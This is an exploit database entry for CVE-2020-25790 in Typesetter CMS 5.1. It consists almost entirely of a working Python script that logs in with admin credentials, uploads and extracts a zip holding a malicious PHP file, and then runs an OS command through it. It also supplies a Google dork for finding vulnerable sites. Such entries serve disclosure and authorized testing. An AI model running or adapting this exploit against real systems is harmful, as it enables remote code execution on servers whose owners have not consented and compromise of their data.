Typesetter CMS 5.1 - Arbitrary Code Execution (Authenticated)

EDB-ID:

48906




Platform:

PHP

Date:

2020-10-19


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# Exploit Title: Typesetter CMS 5.1 - Arbitrary Code Execution
# Exploit Author: Rodolfo "t0gu" Tavares
# Contact: @t0guu (TW)
# Software Homepage: https://www.typesettercms.com/
# Version : 5.1
# Tested on: Linux / Apache
# Category: WebApp
# Google Dork: intext:"Powered by Typesetter"
# Date: 2020-09-29
# CVE : CVE-2020-25790

######## Description ########
#
# The CMS Typesetter has functionality (web interface) where it is possible
# through an account with privileges to perform uploads. Through this
# functionality, it is possible to upload a .zip file that contains a
# malicious .php file. In the same functionality, there is also the
# possibility to extract the file through the same web interface, the
# attacker only needs to extract the .zip that was previously loaded and
# click on the malicious .php file to execute commands in the operating
# system.
#

######## Exploit with Poc ########


https://github.com/t0gu/CVE-2020-25790

####### Code #######


# see the poc at https://github.com/t0gu/CVE-2020-25790

import argparse
from bs4 import BeautifulSoup
import requests
import sys
import  re


import urllib3
from urllib3.exceptions import InsecureRequestWarning

banner = """ 

 
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗       ██████╗ ███████╗███████╗ █████╗  ██████╗ 
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔═████╗      ╚════██╗██╔════╝╚════██║██╔══██╗██╔═████╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝██║██╔██║█████╗ █████╔╝███████╗    ██╔╝╚██████║██║██╔██║
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ████╔╝██║╚════╝██╔═══╝ ╚════██║   ██╔╝  ╚═══██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝      ███████╗███████║   ██║   █████╔╝╚██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝       ╚══════╝╚══════╝   ╚═╝   ╚════╝  ╚═════╝ 
                                                                                                                                                                                                                    
by: t0gu


usage: main.py [-h] -p PASSWORD -l LOGIN -u URL

==> Exploit for CVE 2020-25790

optional arguments:
  -h, --help            show this help message and exit
  -p PASSWORD, --password PASSWORD
                        ==> admin password
  -l LOGIN, --login LOGIN
                        ==> admin login
  -u URL, --url URL     ==> main URL

  """

print(banner)
menu = argparse.ArgumentParser(description="==> Exploit for CVE 2020-25790")
menu.add_argument("-p", "--password", required=True, help="==> admin password")
menu.add_argument("-l", "--login", required=True, help="==> admin login")
menu.add_argument("-u", "--url", required=True, help="==> main URL")
menu.add_argument("-f", "--file", required=True, help="==> Malicous zip file with php file inside")
args = menu.parse_args()

login = args.login
password = args.password
url = args.url
file = args.file


PROXIES = proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "https://127.0.0.1:8080",
}


class Exploit:

    def __init__(self, login, password, url, file):
        self.login = login
        self.password = password
        self.url = url
        self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari"
        self.file = open(file, 'rb')

    def get_nounce(self):
        try:
            url = self.url + "/Admin"
            r = requests.get(url=url, headers={'User-Agent': self.user_agent}, timeout=3, verify=False)
            data = r.text
            soap_obj = BeautifulSoup(data, 'html.parser')
            for inp in soap_obj.find_all("input"):
                for v in inp:
                    nounce = v['value']
                    if nounce != None or nounce != "":
                        return nounce
        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
            print(f'==> Error {e}')

    def get_hash_folders(self):

        cookie_auth = self.get_cookies()
        hash_verified = self.get_verified()
        data_post = {'verified': hash_verified, 'cmd': 'open', 'target':'', 'init': 1, 'tree': 1}
        try:
            url = self.url + "/Admin_Finder"
            r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': cookie_auth}, timeout=10, verify=False)
            json_data = r.json()
            hash_dir = json_data['files'][2]['hash']
            return hash_dir
        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
            print(f'==> Error {e}')

    def get_cookies(self):

        nounce = self.get_nounce()
        if nounce:
            try:
                url = self.url + "/Admin"
                data_post = {'file': '', 'cmd': 'login', 'login_nonce': nounce, 'username': self.login, 'user_sha': '',
                             'password': self.password, 'pass_md5': '', 'pass_sha': '', 'pass_sha512': '',
                             'remember': 'on', 'verified': ''}
                r = requests.post(url=url, verify=False, timeout=3, data=data_post, allow_redirects=False,
                                  headers={'User-Agent': self.user_agent, 'Cookie': 'g=2'})
                cookie_admin = r.headers['Set-Cookie']
                cookie_name = cookie_admin.split(':')[0].split('=')[0]
                cookie_value = cookie_admin.split(':')[0].split('=')[1].split(';')[0]

                if cookie_name == None or cookie_name == "":
                    if cookie_value == None or cookie_value == "":
                        print("==> Something went wrong while login")
                else:
                    data = f"{cookie_name}={cookie_value};"
                    return data
            except (requests.exceptions.Timeout, requests.exceptions.BaseHTTPError) as e:
                print(f'==> Error while login {e}')

    def upload_zip(self):
        url = self.url + '/Admin_Finder'
        hash_verified = self.get_verified()
        hash_dir = self.get_hash_folders()
        auth_cookie = self.get_cookies()

        try:
            print(f"==> Uploading file: {self.file}")
            data = {'cmd': "upload", "target": hash_dir, "verified": hash_verified}
            r = requests.post(url=url, verify=False, timeout=10,
                              headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, data=data, files={'upload[]': self.file})
            hash_file = r.json()['added'][0]['hash']
            self.extract_file(auth_cookie, hash_file, hash_verified)
        except (requests.exceptions.HTTPError, requests.exceptions.Timeout) as e:
            print(f"==> Error while uploading {e}")


    def extract_file(self, auth_cookie, hash_file, hash_verified):
        data_post={'verified': hash_verified, 'cmd': 'extract', 'target': hash_file}
        try:
            url = self.url + "/Admin_Finder"
            r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
            name_file = r.json()['added'][0]['name']
            print(f"==> All Hashes are collected from: {name_file}") 
            self.xpl(auth_cookie,name_file)
        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
            print(f'==> Error {e}')


    def xpl(self, auth_cookie, name_file):
        try:
            url = self.url + "/data/_uploaded/file/" + name_file + "?cmd=id"
            new_url = url.replace("index.php", "")
            print(f"==> Try to exploit: {new_url}")
            r = requests.get(url=new_url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
            pattern = r'<pre>(.*?)</pre>'
            m = re.search(pattern, r.text.replace("\n", ""))
            if m is not None and m != "":
                print(f"==> Vulnerable: {m.group(1)}")
        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
            print(f'==> Error {e}')


    def get_verified(self):
        try:
            url = self.url + "/Admin/Uploaded"
            auth_cookie = self.get_cookies()
            r = requests.get(url=url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
            data = r.text
            pattern_regex = r'"verified":"(.*)"}'
            m = re.search(pattern_regex, data)
            if m is not None or m != "":
                return m.group(1)

        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
            print(f'==> Error {e}')

if __name__ == "__main__":
    obj = Exploit(login, password, url, file)
    obj.upload_zip()